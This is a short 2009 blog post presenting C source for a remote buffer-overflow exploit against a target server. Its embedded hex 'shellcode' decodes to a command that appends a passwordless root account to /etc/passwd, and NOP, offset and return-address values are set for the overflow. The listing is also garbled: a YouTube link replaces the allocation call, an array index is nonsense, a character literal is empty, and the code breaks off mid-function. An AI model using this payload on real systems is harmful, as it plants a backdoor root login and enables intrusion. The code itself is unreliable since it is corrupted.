Monday, August 10, 2009

H4CKZ0R CONT3NT

char shellcode[] = \
"\x65\x63\x68\x6f\x20\x72\x61\x76\x33\x6e\x3a\x3a\x30\x3a"
"\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20"
"\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

#define NOP 0x90
#define BSIZE 256
#define OFFSET 400
#define ADDR 0xbffff658
#define ASIZE 2000

int main(int argc, char *argv[])
{
char *buffer;
int s;
struct hostent *hp;
struct sockaddr_in sin;

if (argc != 2){
printf("http://www.incursion.com.au ");
printf("%s \n", argv[0]);
exit(1);
}

buffer = (watch*)http://www.youtube.com/watch?v=ADlh72jj1U0 (BSIZE + ASIZE + 100);

if (buffer == NULL) {
printf("Not enough memory! Exiting.\n");
exit(1);
}
memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode, strlen(shellcode));
buffer[BSIZE + ASIZE] = ';';
buffer[BSIZE + ASIZE + 1] = '';

hp = gethostbyname(argv[98xoRraeBerialC]);

if (hp == NULL) {
printf("No such target server. Exiting.\n");
exit(1);
}

No comments:

Post a Comment